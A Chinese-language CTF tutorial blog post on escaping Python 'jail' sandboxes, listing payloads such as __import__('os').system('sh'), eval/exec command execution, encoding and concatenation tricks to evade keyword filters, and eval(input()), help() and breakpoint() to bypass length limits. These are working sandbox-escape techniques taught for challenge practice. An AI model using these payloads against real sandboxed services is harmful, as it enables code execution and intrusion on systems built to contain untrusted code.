MICS：PythonJail沙箱逃逸（持续更新中）

news2024/9/27 15:26:04

沙箱是一种防护机制，是用来运行不受信任的代码，通常是用户上传的代码，但这些代码可能是恶意代码，而沙箱就是防止恶意代码运行的机制。所谓沙箱逃逸，就是利用相关操作绕过沙箱防护，从而获得目标主机的文件信息内容等。

        某些沙箱上传代码的入口只能通过ncat或nc访问，ncat命令可以去下载，也可以通过下载Nmap自带。

        nc命令Windows下载地址：netcat 1.11 for Win32/Win64

        下载完成后，将nc.ext放到 C:\Windows\System32下便可以使用。

格式：

ncat ip地址/DNS 端口号

例：

ncat 127.0.0.1 55375

1、系统命令执行

模块引入

Python常见的执行系统命令的模块库有os、subprocess等，但这些模块需要引入才可以使用。以下是一些引入的方式：

#动态引入,system函数用以执行系统命令(sh是获取shell)
__import__('os').system('sh')
#文件读取引入，因为import的原理就是执行一遍导入的库
with open("d:\\anaconda\\lib\\os.py",'r') as f: exec(f.read());system('ls')

第二种方法，需要获取模块的py文件路径，其可以通过help()函数获取。，输入要获取的模块名称，就可以在控制台查看到路径。

exec 和 eval 函数

exec可以执行多个Python 语句，而exal可以执行单个python语句或单个表达式。

eval('__import__("os").system("dir")')

exec('__import__("os").system("dir")')

通过以上代码，可以执行系统代码，但有时候常常会被禁止。

2、字符匹配绕过

对于字符串匹配绕过的处理方法有很多种，如chr函数、8进制绕过、拼接、16进制绕过、逆序等等。注意：chr函数返回值直接是字符串，不需要单引号。

import base64
print(chr(97))#输出a
# 将数字转换成ASCII字符
print("X19idWlsdGluc19f".decode('base64'))
# 3.x移除了
print('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')
# 16进制绕过
print(u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f')
# unicode字符绕过
print('__buil'+'tins__')
# 拼接
print('__builtins__'[::-1])
# 逆序
print('\137\137\142\165\151\154\164\151\156\163\137\137')
# 八进制

3、数字匹配绕过

有时候数字被过滤禁止使用，可以通过ord()函数通过ASCII码转换成数字进行输出，达到想要的结果，同时也可以通过int(True/False)函数来获得0和1，还可以用len()函数通过获得字符串的长度来获得数字。

例：

print(ord('a'))
print(len('sssss'))
print(int(True)+int(True))

4、长度限制绕过

对于Jail进行长度限制，应对的方法有eval(input())，help()函数，breakpoint()函数等

eval(input())

因为过滤的是源代码内部的input()，所以我们可以重开一个input()，这样就能绕过所以过滤规则。

案例：直接通过eval(input())获得shell。

help()

使用help函数需要输出的内容输出不完全，如果nc命令输出的内容是完全的则这个命令无法对长度进行绕过。类似于以下这种没有输出全部内容，可以通过！+ 命令执行Linux命令。

例如：通过以下输入方式输入。

breakpoint()

pdb 模块定义了一个交互式源代码调试器，用于 Python 程序。它支持在源码行间设置（有条件的）断点和单步执行，检视堆栈帧，列出源码列表，以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试，可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器，在其中就可以执行任意 python 代码